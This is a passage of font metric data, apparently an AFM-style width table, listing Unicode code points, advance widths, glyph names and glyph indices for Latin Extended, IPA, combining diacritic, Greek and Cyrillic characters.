U 534 ; WX 732 ; N uni0216 ; G 472
U 535 ; WX 634 ; N uni0217 ; G 473
U 536 ; WX 635 ; N Scommaaccent ; G 474
U 537 ; WX 521 ; N scommaaccent ; G 475
U 538 ; WX 611 ; N uni021A ; G 476
U 539 ; WX 392 ; N uni021B ; G 477
U 540 ; WX 627 ; N uni021C ; G 478
U 541 ; WX 521 ; N uni021D ; G 479
U 542 ; WX 752 ; N uni021E ; G 480
U 543 ; WX 634 ; N uni021F ; G 481
U 544 ; WX 735 ; N uni0220 ; G 482
U 545 ; WX 838 ; N uni0221 ; G 483
U 546 ; WX 698 ; N uni0222 ; G 484
U 547 ; WX 610 ; N uni0223 ; G 485
U 548 ; WX 685 ; N uni0224 ; G 486
U 549 ; WX 525 ; N uni0225 ; G 487
U 550 ; WX 684 ; N uni0226 ; G 488
U 551 ; WX 613 ; N uni0227 ; G 489
U 552 ; WX 632 ; N uni0228 ; G 490
U 553 ; WX 615 ; N uni0229 ; G 491
U 554 ; WX 787 ; N uni022A ; G 492
U 555 ; WX 612 ; N uni022B ; G 493
U 556 ; WX 787 ; N uni022C ; G 494
U 557 ; WX 612 ; N uni022D ; G 495
U 558 ; WX 787 ; N uni022E ; G 496
U 559 ; WX 612 ; N uni022F ; G 497
U 560 ; WX 787 ; N uni0230 ; G 498
U 561 ; WX 612 ; N uni0231 ; G 499
U 562 ; WX 611 ; N uni0232 ; G 500
U 563 ; WX 592 ; N uni0233 ; G 501
U 564 ; WX 475 ; N uni0234 ; G 502
U 565 ; WX 843 ; N uni0235 ; G 503
U 566 ; WX 477 ; N uni0236 ; G 504
U 567 ; WX 278 ; N dotlessj ; G 505
U 568 ; WX 998 ; N uni0238 ; G 506
U 569 ; WX 998 ; N uni0239 ; G 507
U 570 ; WX 684 ; N uni023A ; G 508
U 571 ; WX 698 ; N uni023B ; G 509
U 572 ; WX 550 ; N uni023C ; G 510
U 573 ; WX 557 ; N uni023D ; G 511
U 574 ; WX 611 ; N uni023E ; G 512
U 575 ; WX 521 ; N uni023F ; G 513
U 576 ; WX 525 ; N uni0240 ; G 514
U 577 ; WX 603 ; N uni0241 ; G 515
U 578 ; WX 479 ; N uni0242 ; G 516
U 579 ; WX 686 ; N uni0243 ; G 517
U 580 ; WX 732 ; N uni0244 ; G 518
U 581 ; WX 684 ; N uni0245 ; G 519
U 582 ; WX 632 ; N uni0246 ; G 520
U 583 ; WX 615 ; N uni0247 ; G 521
U 584 ; WX 295 ; N uni0248 ; G 522
U 585 ; WX 278 ; N uni0249 ; G 523
U 586 ; WX 781 ; N uni024A ; G 524
U 587 ; WX 635 ; N uni024B ; G 525
U 588 ; WX 695 ; N uni024C ; G 526
U 589 ; WX 411 ; N uni024D ; G 527
U 590 ; WX 611 ; N uni024E ; G 528
U 591 ; WX 592 ; N uni024F ; G 529
U 592 ; WX 600 ; N uni0250 ; G 530
U 593 ; WX 635 ; N uni0251 ; G 531
U 594 ; WX 635 ; N uni0252 ; G 532
U 595 ; WX 635 ; N uni0253 ; G 533
U 596 ; WX 549 ; N uni0254 ; G 534
U 597 ; WX 550 ; N uni0255 ; G 535
U 598 ; WX 635 ; N uni0256 ; G 536
U 599 ; WX 696 ; N uni0257 ; G 537
U 600 ; WX 615 ; N uni0258 ; G 538
U 601 ; WX 615 ; N uni0259 ; G 539
U 602 ; WX 819 ; N uni025A ; G 540
U 603 ; WX 541 ; N uni025B ; G 541
U 604 ; WX 532 ; N uni025C ; G 542
U 605 ; WX 775 ; N uni025D ; G 543
U 606 ; WX 664 ; N uni025E ; G 544
U 607 ; WX 278 ; N uni025F ; G 545
U 608 ; WX 696 ; N uni0260 ; G 546
U 609 ; WX 635 ; N uni0261 ; G 547
U 610 ; WX 629 ; N uni0262 ; G 548
U 611 ; WX 596 ; N uni0263 ; G 549
U 612 ; WX 596 ; N uni0264 ; G 550
U 613 ; WX 634 ; N uni0265 ; G 551
U 614 ; WX 634 ; N uni0266 ; G 552
U 615 ; WX 634 ; N uni0267 ; G 553
U 616 ; WX 278 ; N uni0268 ; G 554
U 617 ; WX 338 ; N uni0269 ; G 555
U 618 ; WX 372 ; N uni026A ; G 556
U 619 ; WX 396 ; N uni026B ; G 557
U 620 ; WX 487 ; N uni026C ; G 558
U 621 ; WX 278 ; N uni026D ; G 559
U 622 ; WX 706 ; N uni026E ; G 560
U 623 ; WX 974 ; N uni026F ; G 561
U 624 ; WX 974 ; N uni0270 ; G 562
U 625 ; WX 974 ; N uni0271 ; G 563
U 626 ; WX 646 ; N uni0272 ; G 564
U 627 ; WX 642 ; N uni0273 ; G 565
U 628 ; WX 634 ; N uni0274 ; G 566
U 629 ; WX 612 ; N uni0275 ; G 567
U 630 ; WX 858 ; N uni0276 ; G 568
U 631 ; WX 728 ; N uni0277 ; G 569
U 632 ; WX 660 ; N uni0278 ; G 570
U 633 ; WX 414 ; N uni0279 ; G 571
U 634 ; WX 414 ; N uni027A ; G 572
U 635 ; WX 414 ; N uni027B ; G 573
U 636 ; WX 411 ; N uni027C ; G 574
U 637 ; WX 411 ; N uni027D ; G 575
U 638 ; WX 530 ; N uni027E ; G 576
U 639 ; WX 530 ; N uni027F ; G 577
U 640 ; WX 604 ; N uni0280 ; G 578
U 641 ; WX 604 ; N uni0281 ; G 579
U 642 ; WX 521 ; N uni0282 ; G 580
U 643 ; WX 336 ; N uni0283 ; G 581
U 644 ; WX 336 ; N uni0284 ; G 582
U 645 ; WX 461 ; N uni0285 ; G 583
U 646 ; WX 336 ; N uni0286 ; G 584
U 647 ; WX 392 ; N uni0287 ; G 585
U 648 ; WX 392 ; N uni0288 ; G 586
U 649 ; WX 634 ; N uni0289 ; G 587
U 650 ; WX 618 ; N uni028A ; G 588
U 651 ; WX 598 ; N uni028B ; G 589
U 652 ; WX 592 ; N uni028C ; G 590
U 653 ; WX 818 ; N uni028D ; G 591
U 654 ; WX 592 ; N uni028E ; G 592
U 655 ; WX 611 ; N uni028F ; G 593
U 656 ; WX 525 ; N uni0290 ; G 594
U 657 ; WX 525 ; N uni0291 ; G 595
U 658 ; WX 578 ; N uni0292 ; G 596
U 659 ; WX 578 ; N uni0293 ; G 597
U 660 ; WX 510 ; N uni0294 ; G 598
U 661 ; WX 510 ; N uni0295 ; G 599
U 662 ; WX 510 ; N uni0296 ; G 600
U 663 ; WX 510 ; N uni0297 ; G 601
U 664 ; WX 787 ; N uni0298 ; G 602
U 665 ; WX 580 ; N uni0299 ; G 603
U 666 ; WX 664 ; N uni029A ; G 604
U 667 ; WX 708 ; N uni029B ; G 605
U 668 ; WX 654 ; N uni029C ; G 606
U 669 ; WX 292 ; N uni029D ; G 607
U 670 ; WX 667 ; N uni029E ; G 608
U 671 ; WX 507 ; N uni029F ; G 609
U 672 ; WX 727 ; N uni02A0 ; G 610
U 673 ; WX 510 ; N uni02A1 ; G 611
U 674 ; WX 510 ; N uni02A2 ; G 612
U 675 ; WX 1014 ; N uni02A3 ; G 613
U 676 ; WX 1058 ; N uni02A4 ; G 614
U 677 ; WX 1013 ; N uni02A5 ; G 615
U 678 ; WX 830 ; N uni02A6 ; G 616
U 679 ; WX 610 ; N uni02A7 ; G 617
U 680 ; WX 778 ; N uni02A8 ; G 618
U 681 ; WX 848 ; N uni02A9 ; G 619
U 682 ; WX 706 ; N uni02AA ; G 620
U 683 ; WX 654 ; N uni02AB ; G 621
U 684 ; WX 515 ; N uni02AC ; G 622
U 685 ; WX 515 ; N uni02AD ; G 623
U 686 ; WX 661 ; N uni02AE ; G 624
U 687 ; WX 664 ; N uni02AF ; G 625
U 688 ; WX 404 ; N uni02B0 ; G 626
U 689 ; WX 399 ; N uni02B1 ; G 627
U 690 ; WX 175 ; N uni02B2 ; G 628
U 691 ; WX 259 ; N uni02B3 ; G 629
U 692 ; WX 295 ; N uni02B4 ; G 630
U 693 ; WX 296 ; N uni02B5 ; G 631
U 694 ; WX 379 ; N uni02B6 ; G 632
U 695 ; WX 515 ; N uni02B7 ; G 633
U 696 ; WX 373 ; N uni02B8 ; G 634
U 697 ; WX 278 ; N uni02B9 ; G 635
U 698 ; WX 460 ; N uni02BA ; G 636
U 699 ; WX 318 ; N uni02BB ; G 637
U 700 ; WX 318 ; N uni02BC ; G 638
U 701 ; WX 318 ; N uni02BD ; G 639
U 702 ; WX 307 ; N uni02BE ; G 640
U 703 ; WX 307 ; N uni02BF ; G 641
U 704 ; WX 370 ; N uni02C0 ; G 642
U 705 ; WX 370 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 275 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 275 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 718 ; WX 500 ; N uni02CE ; G 656
U 719 ; WX 500 ; N uni02CF ; G 657
U 720 ; WX 337 ; N uni02D0 ; G 658
U 721 ; WX 337 ; N uni02D1 ; G 659
U 722 ; WX 307 ; N uni02D2 ; G 660
U 723 ; WX 307 ; N uni02D3 ; G 661
U 724 ; WX 500 ; N uni02D4 ; G 662
U 725 ; WX 500 ; N uni02D5 ; G 663
U 726 ; WX 390 ; N uni02D6 ; G 664
U 727 ; WX 317 ; N uni02D7 ; G 665
U 728 ; WX 500 ; N breve ; G 666
U 729 ; WX 500 ; N dotaccent ; G 667
U 730 ; WX 500 ; N ring ; G 668
U 731 ; WX 500 ; N ogonek ; G 669
U 732 ; WX 500 ; N tilde ; G 670
U 733 ; WX 500 ; N hungarumlaut ; G 671
U 734 ; WX 315 ; N uni02DE ; G 672
U 735 ; WX 500 ; N uni02DF ; G 673
U 736 ; WX 426 ; N uni02E0 ; G 674
U 737 ; WX 166 ; N uni02E1 ; G 675
U 738 ; WX 373 ; N uni02E2 ; G 676
U 739 ; WX 444 ; N uni02E3 ; G 677
U 740 ; WX 370 ; N uni02E4 ; G 678
U 741 ; WX 493 ; N uni02E5 ; G 679
U 742 ; WX 493 ; N uni02E6 ; G 680
U 743 ; WX 493 ; N uni02E7 ; G 681
U 744 ; WX 493 ; N uni02E8 ; G 682
U 745 ; WX 493 ; N uni02E9 ; G 683
U 748 ; WX 500 ; N uni02EC ; G 684
U 749 ; WX 500 ; N uni02ED ; G 685
U 750 ; WX 518 ; N uni02EE ; G 686
U 755 ; WX 500 ; N uni02F3 ; G 687
U 759 ; WX 500 ; N uni02F7 ; G 688
U 768 ; WX 0 ; N gravecomb ; G 689
U 769 ; WX 0 ; N acutecomb ; G 690
U 770 ; WX 0 ; N uni0302 ; G 691
U 771 ; WX 0 ; N tildecomb ; G 692
U 772 ; WX 0 ; N uni0304 ; G 693
U 773 ; WX 0 ; N uni0305 ; G 694
U 774 ; WX 0 ; N uni0306 ; G 695
U 775 ; WX 0 ; N uni0307 ; G 696
U 776 ; WX 0 ; N uni0308 ; G 697
U 777 ; WX 0 ; N hookabovecomb ; G 698
U 778 ; WX 0 ; N uni030A ; G 699
U 779 ; WX 0 ; N uni030B ; G 700
U 780 ; WX 0 ; N uni030C ; G 701
U 781 ; WX 0 ; N uni030D ; G 702
U 782 ; WX 0 ; N uni030E ; G 703
U 783 ; WX 0 ; N uni030F ; G 704
U 784 ; WX 0 ; N uni0310 ; G 705
U 785 ; WX 0 ; N uni0311 ; G 706
U 786 ; WX 0 ; N uni0312 ; G 707
U 787 ; WX 0 ; N uni0313 ; G 708
U 788 ; WX 0 ; N uni0314 ; G 709
U 789 ; WX 0 ; N uni0315 ; G 710
U 790 ; WX 0 ; N uni0316 ; G 711
U 791 ; WX 0 ; N uni0317 ; G 712
U 792 ; WX 0 ; N uni0318 ; G 713
U 793 ; WX 0 ; N uni0319 ; G 714
U 794 ; WX 0 ; N uni031A ; G 715
U 795 ; WX 0 ; N uni031B ; G 716
U 796 ; WX 0 ; N uni031C ; G 717
U 797 ; WX 0 ; N uni031D ; G 718
U 798 ; WX 0 ; N uni031E ; G 719
U 799 ; WX 0 ; N uni031F ; G 720
U 800 ; WX 0 ; N uni0320 ; G 721
U 801 ; WX 0 ; N uni0321 ; G 722
U 802 ; WX 0 ; N uni0322 ; G 723
U 803 ; WX 0 ; N dotbelowcomb ; G 724
U 804 ; WX 0 ; N uni0324 ; G 725
U 805 ; WX 0 ; N uni0325 ; G 726
U 806 ; WX 0 ; N uni0326 ; G 727
U 807 ; WX 0 ; N uni0327 ; G 728
U 808 ; WX 0 ; N uni0328 ; G 729
U 809 ; WX 0 ; N uni0329 ; G 730
U 810 ; WX 0 ; N uni032A ; G 731
U 811 ; WX 0 ; N uni032B ; G 732
U 812 ; WX 0 ; N uni032C ; G 733
U 813 ; WX 0 ; N uni032D ; G 734
U 814 ; WX 0 ; N uni032E ; G 735
U 815 ; WX 0 ; N uni032F ; G 736
U 816 ; WX 0 ; N uni0330 ; G 737
U 817 ; WX 0 ; N uni0331 ; G 738
U 818 ; WX 0 ; N uni0332 ; G 739
U 819 ; WX 0 ; N uni0333 ; G 740
U 820 ; WX 0 ; N uni0334 ; G 741
U 821 ; WX 0 ; N uni0335 ; G 742
U 822 ; WX 0 ; N uni0336 ; G 743
U 823 ; WX 0 ; N uni0337 ; G 744
U 824 ; WX 0 ; N uni0338 ; G 745
U 825 ; WX 0 ; N uni0339 ; G 746
U 826 ; WX 0 ; N uni033A ; G 747
U 827 ; WX 0 ; N uni033B ; G 748
U 828 ; WX 0 ; N uni033C ; G 749
U 829 ; WX 0 ; N uni033D ; G 750
U 830 ; WX 0 ; N uni033E ; G 751
U 831 ; WX 0 ; N uni033F ; G 752
U 832 ; WX 0 ; N uni0340 ; G 753
U 833 ; WX 0 ; N uni0341 ; G 754
U 834 ; WX 0 ; N uni0342 ; G 755
U 835 ; WX 0 ; N uni0343 ; G 756
U 836 ; WX 0 ; N uni0344 ; G 757
U 837 ; WX 0 ; N uni0345 ; G 758
U 838 ; WX 0 ; N uni0346 ; G 759
U 839 ; WX 0 ; N uni0347 ; G 760
U 840 ; WX 0 ; N uni0348 ; G 761
U 841 ; WX 0 ; N uni0349 ; G 762
U 842 ; WX 0 ; N uni034A ; G 763
U 843 ; WX 0 ; N uni034B ; G 764
U 844 ; WX 0 ; N uni034C ; G 765
U 845 ; WX 0 ; N uni034D ; G 766
U 846 ; WX 0 ; N uni034E ; G 767
U 847 ; WX 0 ; N uni034F ; G 768
U 849 ; WX 0 ; N uni0351 ; G 769
U 850 ; WX 0 ; N uni0352 ; G 770
U 851 ; WX 0 ; N uni0353 ; G 771
U 855 ; WX 0 ; N uni0357 ; G 772
U 856 ; WX 0 ; N uni0358 ; G 773
U 858 ; WX 0 ; N uni035A ; G 774
U 860 ; WX 0 ; N uni035C ; G 775
U 861 ; WX 0 ; N uni035D ; G 776
U 862 ; WX 0 ; N uni035E ; G 777
U 863 ; WX 0 ; N uni035F ; G 778
U 864 ; WX 0 ; N uni0360 ; G 779
U 865 ; WX 0 ; N uni0361 ; G 780
U 866 ; WX 0 ; N uni0362 ; G 781
U 880 ; WX 654 ; N uni0370 ; G 782
U 881 ; WX 568 ; N uni0371 ; G 783
U 882 ; WX 862 ; N uni0372 ; G 784
U 883 ; WX 647 ; N uni0373 ; G 785
U 884 ; WX 278 ; N uni0374 ; G 786
U 885 ; WX 278 ; N uni0375 ; G 787
U 886 ; WX 748 ; N uni0376 ; G 788
U 887 ; WX 650 ; N uni0377 ; G 789
U 890 ; WX 500 ; N uni037A ; G 790
U 891 ; WX 549 ; N uni037B ; G 791
U 892 ; WX 550 ; N uni037C ; G 792
U 893 ; WX 549 ; N uni037D ; G 793
U 894 ; WX 337 ; N uni037E ; G 794
U 895 ; WX 295 ; N uni037F ; G 795
U 900 ; WX 500 ; N tonos ; G 796
U 901 ; WX 500 ; N dieresistonos ; G 797
U 902 ; WX 692 ; N Alphatonos ; G 798
U 903 ; WX 318 ; N anoteleia ; G 799
U 904 ; WX 746 ; N Epsilontonos ; G 800
U 905 ; WX 871 ; N Etatonos ; G 801
U 906 ; WX 408 ; N Iotatonos ; G 802
U 908 ; WX 813 ; N Omicrontonos ; G 803
U 910 ; WX 825 ; N Upsilontonos ; G 804
U 911 ; WX 826 ; N Omegatonos ; G 805
U 912 ; WX 338 ; N iotadieresistonos ; G 806
U 913 ; WX 684 ; N Alpha ; G 807
U 914 ; WX 686 ; N Beta ; G 808
U 915 ; WX 557 ; N Gamma ; G 809
U 916 ; WX 684 ; N uni0394 ; G 810
U 917 ; WX 632 ; N Epsilon ; G 811
U 918 ; WX 685 ; N Zeta ; G 812
U 919 ; WX 752 ; N Eta ; G 813
U 920 ; WX 787 ; N Theta ; G 814
U 921 ; WX 295 ; N Iota ; G 815
U 922 ; WX 656 ; N Kappa ; G 816
U 923 ; WX 684 ; N Lambda ; G 817
U 924 ; WX 863 ; N Mu ; G 818
U 925 ; WX 748 ; N Nu ; G 819
U 926 ; WX 632 ; N Xi ; G 820
U 927 ; WX 787 ; N Omicron ; G 821
U 928 ; WX 752 ; N Pi ; G 822
U 929 ; WX 603 ; N Rho ; G 823
U 931 ; WX 632 ; N Sigma ; G 824
U 932 ; WX 611 ; N Tau ; G 825
U 933 ; WX 611 ; N Upsilon ; G 826
U 934 ; WX 787 ; N Phi ; G 827
U 935 ; WX 685 ; N Chi ; G 828
U 936 ; WX 787 ; N Psi ; G 829
U 937 ; WX 764 ; N Omega ; G 830
U 938 ; WX 295 ; N Iotadieresis ; G 831
U 939 ; WX 611 ; N Upsilondieresis ; G 832
U 940 ; WX 659 ; N alphatonos ; G 833
U 941 ; WX 541 ; N epsilontonos ; G 834
U 942 ; WX 634 ; N etatonos ; G 835
U 943 ; WX 338 ; N iotatonos ; G 836
U 944 ; WX 579 ; N upsilondieresistonos ; G 837
U 945 ; WX 659 ; N alpha ; G 838
U 946 ; WX 638 ; N beta ; G 839
U 947 ; WX 592 ; N gamma ; G 840
U 948 ; WX 612 ; N delta ; G 841
U 949 ; WX 541 ; N epsilon ; G 842
U 950 ; WX 544 ; N zeta ; G 843
U 951 ; WX 634 ; N eta ; G 844
U 952 ; WX 612 ; N theta ; G 845
U 953 ; WX 338 ; N iota ; G 846
U 954 ; WX 589 ; N kappa ; G 847
U 955 ; WX 592 ; N lambda ; G 848
U 956 ; WX 636 ; N uni03BC ; G 849
U 957 ; WX 559 ; N nu ; G 850
U 958 ; WX 558 ; N xi ; G 851
U 959 ; WX 612 ; N omicron ; G 852
U 960 ; WX 602 ; N pi ; G 853
U 961 ; WX 635 ; N rho ; G 854
U 962 ; WX 587 ; N sigma1 ; G 855
U 963 ; WX 634 ; N sigma ; G 856
U 964 ; WX 602 ; N tau ; G 857
U 965 ; WX 579 ; N upsilon ; G 858
U 966 ; WX 660 ; N phi ; G 859
U 967 ; WX 578 ; N chi ; G 860
U 968 ; WX 660 ; N psi ; G 861
U 969 ; WX 837 ; N omega ; G 862
U 970 ; WX 338 ; N iotadieresis ; G 863
U 971 ; WX 579 ; N upsilondieresis ; G 864
U 972 ; WX 612 ; N omicrontonos ; G 865
U 973 ; WX 579 ; N upsilontonos ; G 866
U 974 ; WX 837 ; N omegatonos ; G 867
U 975 ; WX 656 ; N uni03CF ; G 868
U 976 ; WX 614 ; N uni03D0 ; G 869
U 977 ; WX 619 ; N theta1 ; G 870
U 978 ; WX 699 ; N Upsilon1 ; G 871
U 979 ; WX 842 ; N uni03D3 ; G 872
U 980 ; WX 699 ; N uni03D4 ; G 873
U 981 ; WX 660 ; N phi1 ; G 874
U 982 ; WX 837 ; N omega1 ; G 875
U 983 ; WX 664 ; N uni03D7 ; G 876
U 984 ; WX 787 ; N uni03D8 ; G 877
U 985 ; WX 612 ; N uni03D9 ; G 878
U 986 ; WX 648 ; N uni03DA ; G 879
U 987 ; WX 587 ; N uni03DB ; G 880
U 988 ; WX 575 ; N uni03DC ; G 881
U 989 ; WX 458 ; N uni03DD ; G 882
U 990 ; WX 660 ; N uni03DE ; G 883
U 991 ; WX 660 ; N uni03DF ; G 884
U 992 ; WX 865 ; N uni03E0 ; G 885
U 993 ; WX 627 ; N uni03E1 ; G 886
U 994 ; WX 934 ; N uni03E2 ; G 887
U 995 ; WX 837 ; N uni03E3 ; G 888
U 996 ; WX 758 ; N uni03E4 ; G 889
U 997 ; WX 659 ; N uni03E5 ; G 890
U 998 ; WX 792 ; N uni03E6 ; G 891
U 999 ; WX 615 ; N uni03E7 ; G 892
U 1000 ; WX 687 ; N uni03E8 ; G 893
U 1001 ; WX 607 ; N uni03E9 ; G 894
U 1002 ; WX 768 ; N uni03EA ; G 895
U 1003 ; WX 625 ; N uni03EB ; G 896
U 1004 ; WX 699 ; N uni03EC ; G 897
U 1005 ; WX 612 ; N uni03ED ; G 898
U 1006 ; WX 611 ; N uni03EE ; G 899
U 1007 ; WX 536 ; N uni03EF ; G 900
U 1008 ; WX 664 ; N uni03F0 ; G 901
U 1009 ; WX 635 ; N uni03F1 ; G 902
U 1010 ; WX 550 ; N uni03F2 ; G 903
U 1011 ; WX 278 ; N uni03F3 ; G 904
U 1012 ; WX 787 ; N uni03F4 ; G 905
U 1013 ; WX 615 ; N uni03F5 ; G 906
U 1014 ; WX 615 ; N uni03F6 ; G 907
U 1015 ; WX 605 ; N uni03F7 ; G 908
U 1016 ; WX 635 ; N uni03F8 ; G 909
U 1017 ; WX 698 ; N uni03F9 ; G 910
U 1018 ; WX 863 ; N uni03FA ; G 911
U 1019 ; WX 651 ; N uni03FB ; G 912
U 1020 ; WX 635 ; N uni03FC ; G 913
U 1021 ; WX 703 ; N uni03FD ; G 914
U 1022 ; WX 698 ; N uni03FE ; G 915
U 1023 ; WX 703 ; N uni03FF ; G 916
U 1024 ; WX 632 ; N uni0400 ; G 917
U 1025 ; WX 632 ; N uni0401 ; G 918
U 1026 ; WX 786 ; N uni0402 ; G 919
U 1027 ; WX 610 ; N uni0403 ; G 920
U 1028 ; WX 698 ; N uni0404 ; G 921
U 1029 ; WX 635 ; N uni0405 ; G 922
U 1030 ; WX 295 ; N uni0406 ; G 923
U 1031 ; WX 295 ; N uni0407 ; G 924
U 1032 ; WX 295 ; N uni0408 ; G 925
U 1033 ; WX 1094 ; N uni0409 ; G 926
U 1034 ; WX 1045 ; N uni040A ; G 927
U 1035 ; WX 786 ; N uni040B ; G 928
U 1036 ; WX 710 ; N uni040C ; G 929
U 1037 ; WX 748 ; N uni040D ; G 930
U 1038 ; WX 609 ; N uni040E ; G 931
U 1039 ; WX 752 ; N uni040F ; G 932
U 1040 ; WX 684 ; N uni0410 ; G 933
U 1041 ; WX 686 ; N uni0411 ; G 934
U 1042 ; WX 686 ; N uni0412 ; G 935
U 1043 ; WX 610 ; N uni0413 ; G 936
U 1044 ; WX 781 ; N uni0414 ; G 937
U 1045 ; WX 632 ; N uni0415 ; G 938
U 1046 ; WX 1077 ; N uni0416 ; G 939
U 1047 ; WX 641 ; N uni0417 ; G 940
U 1048 ; WX 748 ; N uni0418 ; G 941
U 1049 ; WX 748 ; N uni0419 ; G 942
U 1050 ; WX 710 ; N uni041A ; G 943
U 1051 ; WX 752 ; N uni041B ; G 944
U 1052 ; WX 863 ; N uni041C ; G 945
U 1053 ; WX 752 ; N uni041D ; G 946
U 1054 ; WX 787 ; N uni041E ; G 947
U 1055 ; WX 752 ; N uni041F ; G 948
U 1056 ; WX 603 ; N uni0420 ; G 949
U 1057 ; WX 698 ; N uni0421 ; G 950
U 1058 ; WX 611 ; N uni0422 ; G 951
U 1059 ; WX 609 ; N uni0423 ; G 952
U 1060 ; WX 861 ; N uni0424 ; G 953
U 1061 ; WX 685 ; N uni0425 ; G 954
U 1062 ; WX 776 ; N uni0426 ; G 955
U 1063 ; WX 686 ; N uni0427 ; G 956
U 1064 ; WX 1069 ; N uni0428 ; G 957
U 1065 ; WX 1094 ; N uni0429 ; G 958
U 1066 ; WX 833 ; N uni042A ; G 959
U 1067 ; WX 882 ; N uni042B ; G 960
U 1068 ; WX 686 ; N uni042C ; G 961
U 1069 ; WX 698 ; N uni042D ; G 962
U 1070 ; WX 1080 ; N uni042E ; G 963
U 1071 ; WX 695 ; N uni042F ; G 964
U 1072 ; WX 613 ; N uni0430 ; G 965
U 1073 ; WX 617 ; N uni0431 ; G 966
U 1074 ; WX 589 ; N uni0432 ; G 967
U 1075 ; WX 525 ; N uni0433 ; G 968
U 1076 ; WX 691 ; N uni0434 ; G 969
U 1077 ; WX 615 ; N uni0435 ; G 970
U 1078 ; WX 901 ; N uni0436 ; G 971
U 1079 ; WX 532 ; N uni0437 ; G 972
U 1080 ; WX 650 ; N uni0438 ; G 973
U 1081 ; WX 650 ; N uni0439 ; G 974
U 1082 ; WX 604 ; N uni043A ; G 975
U 1083 ; WX 639 ; N uni043B ; G 976
U 1084 ; WX 754 ; N uni043C ; G 977
U 1085 ; WX 654 ; N uni043D ; G 978
U 1086 ; WX 612 ; N uni043E ; G 979
U 1087 ; WX 654 ; N uni043F ; G 980
U 1088 ; WX 635 ; N uni0440 ; G 981
U 1089 ; WX 550 ; N uni0441 ; G 982
U 1090 ; WX 583 ; N uni0442 ; G 983
U 1091 ; WX 592 ; N uni0443 ; G 984
U 1092 ; WX 855 ; N uni0444 ; G 985
U 1093 ; WX 592 ; N uni0445 ; G 986
U 1094 ; WX 681 ; N uni0446 ; G 987
U 1095 ; WX 591 ; N uni0447 ; G 988
U 1096 ; WX 915 ; N uni0448 ; G 989
U 1097 ; WX 942 ; N uni0449 ; G 990
U 1098 ; WX 707 ; N uni044A ; G 991
U 1099 ; WX 790 ; N uni044B ; G 992
U 1100 ; WX 589 ; N uni044C ; G 993
U 1101 ; WX 549 ; N uni044D ; G 994
U 1102 ; WX 842 ; N uni044E ; G 995
U 1103 ; WX 602 ; N uni044F ; G 996
U 1104 ; WX 615 ; N uni0450 ; G 997
U 1105 ; WX 615 ; N uni0451 ; G 998
U 1106 ; WX 625 ; N uni0452 ; G 999
U 1107 ; WX 525 ; N uni0453 ; G 1000
U 1108 ; WX 549 ; N uni0454 ; G 1001
U 1109 ; WX 521 ; N uni0455 ; G 1002
U 1110 ; WX 278 ; N uni0456 ; G 1003
U 1111 ; WX 278 ; N uni0457 ; G 1004
U 1112 ; WX 278 ; N uni0458 ; G 1005
U 1113 ; WX 902 ; N uni0459 ; G 1006
U 1114 ; WX 898 ; N uni045A ; G 1007
U 1115 ; WX 652 ; N uni045B ; G 1008
U 1116 ; WX 604 ; N uni045C ; G 1009
U 1117 ; WX 650 ; N uni045D ; G 1010
U 1118 ; WX 592 ; N uni045E ; G 1011
U 1119 ; WX 654 ; N uni045F ; G 1012
U 1120 ; WX 934 ; N uni0460 ; G 1013
U 1121 ; WX 837 ; N uni0461 ; G 1014
U 1122 ; WX 771 ; N uni0462 ; G 1015
U 1123 ; WX 672 ; N uni0463 ; G 1016
U 1124 ; WX 942 ; N uni0464 ; G 1017
U 1125 ; WX 749 ; N uni0465 ; G 1018
U 1126 ; WX 879 ; N uni0466 ; G 1019
U 1127 ; WX 783 ; N uni0467 ; G 1020
U 1128 ; WX 1160 ; N uni0468 ; G 1021
U 1129 ; WX 1001 ; N uni0469 ; G 1022
U 1130 ; WX 787 ; N uni046A ; G 1023
U 1131 ; WX 612 ; N uni046B ; G 1024
U 1132 ; WX 1027 ; N uni046C ; G 1025
U 1133 ; WX 824 ; N uni046D ; G 1026
U 1134 ; WX 636 ; N uni046E ; G 1027
U 1135 ; WX 541 ; N uni046F ; G 1028
U 1136 ; WX 856 ; N uni0470 ; G 1029
U 1137 ; WX 876 ; N uni0471 ; G 1030
U 1138 ; WX 787 ; N uni0472 ; G 1031
U 1139 ; WX 612 ; N uni0473 ; G 1032
U 1140 ; WX 781 ; N uni0474 ; G 1033
U 1141 ; WX 665 ; N uni0475 ; G 1034
U 1142 ; WX 781 ; N uni0476 ; G 1035
U 1143 ; WX 665 ; N uni0477 ; G 1036
U 1144 ; WX 992 ; N uni0478 ; G 1037
U 1145 ; WX 904 ; N uni0479 ; G 1038
U 1146 ; WX 953 ; N uni047A ; G 1039
U 1147 ; WX 758 ; N uni047B ; G 1040
U 1148 ; WX 1180 ; N uni047C ; G 1041
U 1149 ; WX 1028 ; N uni047D ; G 1042
U 1150 ; WX 934 ; N uni047E ; G 1043
U 1151 ; WX 837 ; N uni047F ; G 1044
U 1152 ; WX 698 ; N uni0480 ; G 1045
U 1153 ; WX 550 ; N uni0481 ; G 1046
U 1154 ; WX 502 ; N uni0482 ; G 1047
U 1155 ; WX 0 ; N uni0483 ; G 1048
U 1156 ; WX 0 ; N uni0484 ; G 1049
U 1157 ; WX 0 ; N uni0485 ; G 1050
U 1158 ; WX 0 ; N uni0486 ; G 1051
U 1159 ; WX 0 ; N uni0487 ; G 1052
U 1160 ; WX 418 ; N uni0488 ; G 1053
U 1161 ; WX 418 ; N uni0489 ; G 1054
U 1162 ; WX 772 ; N uni048A ; G 1055
U 1163 ; WX 677 ; N uni048B ; G 1056
U 1164 ; WX 686 ; N uni048C ; G 1057
U 1165 ; WX 589 ; N uni048D ; G 1058
U 1166 ; WX 603 ; N uni048E ; G 1059
U 1167 ; WX 635 ; N uni048F ; G 1060
U 1168 ; WX 610 ; N uni0490 ; G 1061
U 1169 ; WX 525 ; N uni0491 ; G 1062
U 1170 ; WX 675 ; N uni0492 ; G 1063
U 1171 ; WX 590 ; N uni0493 ; G 1064
U 1172 ; WX 624 ; N uni0494 ; G 1065
U 1173 ; WX 530 ; N uni0495 ; G 1066
